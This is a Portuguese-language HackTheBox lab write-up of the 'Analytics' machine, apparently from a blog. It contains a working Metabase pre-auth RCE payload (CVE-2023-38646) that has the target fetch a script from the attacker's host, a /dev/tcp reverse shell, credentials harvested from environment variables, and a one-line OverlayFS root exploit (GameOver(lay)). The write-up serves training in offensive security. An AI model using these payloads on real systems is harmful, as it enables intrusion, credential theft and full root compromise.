Neste writeup iremos explorar uma máquina linux de nível easy chamada Analytics.
Esta máquina aborda as seguintes vulnerabilidades:
- CVE-2023-38646 - Pre-Auth RCE in Metabase
- CVE-2023-2640 e CVE-2023-32629 - GameOver(lay)
Recon, primeira vulnerabilidade e user Flag
Vamos iniciar realizando uma varredura nas portas utilizando o nmap:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/analytics]
└─# nmap -sV --open -Pn 10.129.86.111
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-07 19:37 EDT
Nmap scan report for analytics.htb (10.129.86.111)
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Como podemos visualizar no retorno do nmap o host alvo tem as portas 22 e 80 abertas. A porta 22 é do ssh, e a 80 esta rodando um nginx, um servidor web ou proxy reverso.
Ao acessar pelo navegador o IP na porta 80 somos redirecionados para analytics.htb, vamos adicionar em nosso /etc/hosts esse endereço.
E ao acessar novamente temos a seguinte página:
Dentre as funcionalidades do site temos a opção de login, que ao clicar somos redirecionados para data.analytics.htb, vamos também adicionar ao /etc/hosts.
Agora conseguimos acessar o subdomínio, que se trata de um metabase:
O metabase é uma ferramenta open-source para business intelligence que permite a criação de charts e dashboards proveniente de diversas fontes, como bancos de dados por exemplo.
Buscando por vulnerabilidades no metabase foi encontrado um Pre-Auth Remote Code Execution, a CVE-2023-38646.
Esta CVE permite um RCE, conforme mencionado anteriormente, ela ocorre pois a instalação padrão do metabase expõe o setup-token. Esta exposição ocorre pois algumas partes do workflow de setup foram removidos, incluindo a parte que remove o setup-token após a instalação.
O metabase permite a conectividade com diversos datasources, e durante a instalação é exposto o endpoint /api/setup/validate, que recebe uma JDBC URI como parte de uma requisição POST, que é validado a conexão antes de finalizar a instalação.
Existem diversas possibilidades de exploração de JDBC connectors, no caso de bancos de dados H2 abusando do parâmetro INIT é a forma mais frequente. Inclusive existe um report para o metabase desta vulnerabilidade:
No entanto não se aplica a versão 0.46.0 que é utilizada no alvo, pois o metabase esta bloqueando a função INIT.
Mas a CVE que estamos analisando e iremos utilizar informa sobre um SQL Injection no driver do H2, que permite a execução de comandos sem utilizar a função INIT.
A função INIT permite execuções de queries SQL quando se inicia a conexão com um banco de dados. Com essa função bloqueada precisamos utilizar o argumento TRACE_LEVEL_SYSTEM_OUT para criar uma stack de SQL queries em nosso SQL Injection e assim executar comandos.
Com isso precisamos avaliar para qual banco apontar durante a exploração, uma vez que apontar para o banco do metabase iria corromper o mesmo.
Neste caso podemos utilizar o banco de dados sample que é existe dentro do arquivo JAR do metabase. Através do ZIP URI podemos setar este banco para explorar a vulnerabilidade sem corromper nada.
Vamos buscar primeiramente o setup-token:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/analytics]
└─# curl -s http://data.analytical.htb/api/session/properties | jq . | grep setup-token
"setup-token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
Agora com o setup token em mãos vamos criar um arquivo chamado rev.sh que contém nosso reverse shell:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/analytics]
└─# cat rev.sh
sh -i >& /dev/tcp/10.10.14.186/9002 0>&1
Agora precisamos utilizar o RCE para realizar o download do nosso reverse shell no servidor remoto. Para isso vamos subir um servidor web utilizando python:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/analytics]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
E agora vamos utilizar o burp suite para realizar a seguinte requisição com nossa ZIP URI montada e apontando para o banco de dados sample do metabase:
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 731
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl -O http://10.10.14.186:8081/rev.sh')\n$$--=x",
"advanced-options": false,
"ssl": false
},
"name": "test123",
"engine": "h2"
}
}
Com isso temos o retorno em nosso servidor web:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/analytics]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.86.111 - - [08/Oct/2023 11:26:38] "GET /rev.sh HTTP/1.1" 200 -
Uma vez que nosso reverse shell esta no servidor remoto vamos abrir uma conexão com o netcat ouvindo na porta 9001:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/visual/repo]
└─# nc -lvnp 9001
listening on [any] 9001 ...
Agora vamos alterar o comando remoto para executar nosso reverse shell:
...
...Runtime.getRuntime().exec('bash rev.sh')..
...
Ficando da seguinte forma:
E assim temos o retorno em nosso netcat, com o nosso primeiro shell:
┌──(root㉿kali)-[/home/…/hackthebox/machines-windows/visual/repo]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.186] from (UNKNOWN) [10.129.86.111] 50406
sh: can't access tty; job control turned off
/ $ id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Umá rápida análise notamos que estamos em um container, no entanto, ao visualizar as envs encontramos dados de acesso nas envs META_USER e META_PASS:
/ $ env
MB_LDAP_BIND_DN=
LANGUAGE=en_US:en
USER=metabase
HOSTNAME=d18aa1afd928
FC_LANG=en-US
SHLVL=3
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
HOME=/home/metabase
OLDPWD=/tmp
MB_EMAIL_SMTP_PASSWORD=
LC_CTYPE=en_US.UTF-8
JAVA_VERSION=jdk-11.0.19+7
LOGNAME=metabase
_=plugins
MB_DB_CONNECTION_URI=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_PASS=
MB_JETTY_HOST=0.0.0.0
META_PASS=An4lytics_ds20223#
LANG=en_US.UTF-8
MB_LDAP_PASSWORD=
SHELL=/bin/sh
MB_EMAIL_SMTP_USERNAME=
MB_DB_USER=
META_USER=metalytics
LC_ALL=en_US.UTF-8
JAVA_HOME=/opt/java/openjdk
PWD=/
MB_DB_FILE=//metabase.db/metabase.db
E assim conseguimos acesso via ssh utilizando usuário e senha encontrados:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/analytics]
└─# ssh metalytics@analytical.htb
metalytics@analytical.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
- Documentation: [https://help.ubuntu.com](https://help.ubuntu.com/)
- Management: [https://landscape.canonical.com](https://landscape.canonical.com/)
- Support: https://ubuntu.com/advantage
System information as of Sun Oct 8 03:47:20 PM UTC 2023
System load: 0.3564453125
Usage of /: 93.8% of 7.78GB
Memory usage: 29%
Swap usage: 0%
Processes: 201
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.86.111
IPv6 address for eth0: dead:beef::250:56ff:fe96:8e71
=> / is using 93.8% of 7.78GB
=> There are 45 zombie processes.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Tue Oct 3 09:14:35 2023 from 10.10.14.41
metalytics@analytics:~$
Com isso conseguimos a user flag:
metalytics@analytics:~$ ls -alh
total 36K
drwxr-x--- 4 metalytics metalytics 4.0K Aug 8 11:37 .
drwxr-xr-x 3 root root 4.0K Aug 8 11:37 ..
lrwxrwxrwx 1 root root 9 Aug 3 16:23 .bash_history -> /dev/null
-rw-r--r-- 1 metalytics metalytics 220 Aug 3 08:53 .bash_logout
-rw-r--r-- 1 metalytics metalytics 3.7K Aug 3 08:53 .bashrc
drwx------ 2 metalytics metalytics 4.0K Aug 8 11:37 .cache
drwxrwxr-x 3 metalytics metalytics 4.0K Aug 8 11:37 .local
-rw-r--r-- 1 metalytics metalytics 807 Aug 3 08:53 .profile
-rw-r----- 1 root metalytics 33 Oct 7 23:35 user.txt
-rw-r--r-- 1 metalytics metalytics 39 Aug 8 11:30 .vimrc
metalytics@analytics:~$ cat user.txt
6f09e034504ed254520c3060b18bbe89
Escalação de privilégios e root flag
Realizando um recon não foi encontrada nenhum arquivo com dados expostos, comandos que possam ser executados como root ou com suid ativo. No entanto, podemos notar que estamos em uma máquina Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64).
Com essas infos podemos buscar por vulnerabilidades recentes, o que é bem comum serem utilizadas em novas máquinas do HackTheBox.
Em uma busca foram encontradas duas vulnerabilidades: CVE-2023-2640 e CVE-2023-32629, aka GameOver(lay).
Essas vulnerabilidades ocorrem no OverlayFS. OverlayFS é uma implementação de sistema de arquivos utilizado pelo linux. Ele combina vários pontos de montagem subjacentes diferentes em um, resultando em uma estrutura de diretório única que contém arquivos e subdiretórios subjacentes de todas as fontes.
Ocorre que nas duas vulnerabilidades arquivos são movidos de um diretório inferior para um superior com seus atributos estendidos sem alterações, ou seja, é possível herdar capabilities e assim escalar privilégios.
Capabilties como CAP_SYS_ADMIN ou CAP_SETUID, que garantem execuções privilegiadas são enviadas para o diretório, ou layer, superior. O que pode permitir usuários não privilegiados escalar privilégios.
As duas vulnerabilidades ocorrem em uma função do kernel chamada ovl_do_setxattr, que chama um wrapper vulnerável chamado __vfs_setxattr_noperm, que por sua vez não restringe as capabilities para a namespace.
Analisando as diversas postagens sobre as duas vulnerabilidades foi possível encontrar algumas Poc's inline, o que deixa a vulnerabilidade mais crítica.
Para nosso caso utilizei o seguinte comando, que eleva as permissões do python, desta forma o mesmo é executado com permissões de root:
metalytics@analytics:/tmp$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("ls -alh /root/")'
mkdir: cannot create directory ‘l’: File exists
mkdir: cannot create directory ‘u’: File exists
mkdir: cannot create directory ‘w’: File exists
mkdir: cannot create directory ‘m’: File exists
total 48K
drwx------ 6 root root 4.0K Oct 7 23:35 .
drwxr-xr-x 18 root root 4.0K Aug 8 11:37 ..
lrwxrwxrwx 1 root root 9 Apr 27 16:10 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Oct 15 2021 .bashrc
drwx------ 2 root root 4.0K Apr 27 16:09 .cache
drwxr-xr-x 3 root root 4.0K Apr 27 16:35 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Oct 7 23:35 root.txt
drwxr-xr-x 2 root root 4.0K Aug 25 15:14 .scripts
-rw-r--r-- 1 root root 66 Aug 25 15:14 .selected_editor
drwx------ 2 root root 4.0K Apr 27 16:07 .ssh
-rw-r--r-- 1 root root 39 Aug 8 11:30 .vimrc
-rw-r--r-- 1 root root 165 Aug 8 11:53 .wget-hsts
E assim conseguimos buscar a root flag:
metalytics@analytics:/tmp$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cat /root/root.txt")'
mkdir: cannot create directory ‘l’: File exists
mkdir: cannot create directory ‘u’: File exists
mkdir: cannot create directory ‘w’: File exists
mkdir: cannot create directory ‘m’: File exists
9081b3c76b813330cd43690360cd8ab8
No entanto, é possível pegar shell como root facilmente alterando o comando final:
$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);pty.spawn("/bin/bash")'
E assim finalizamos a máquina Analytics :)
Top comments (0)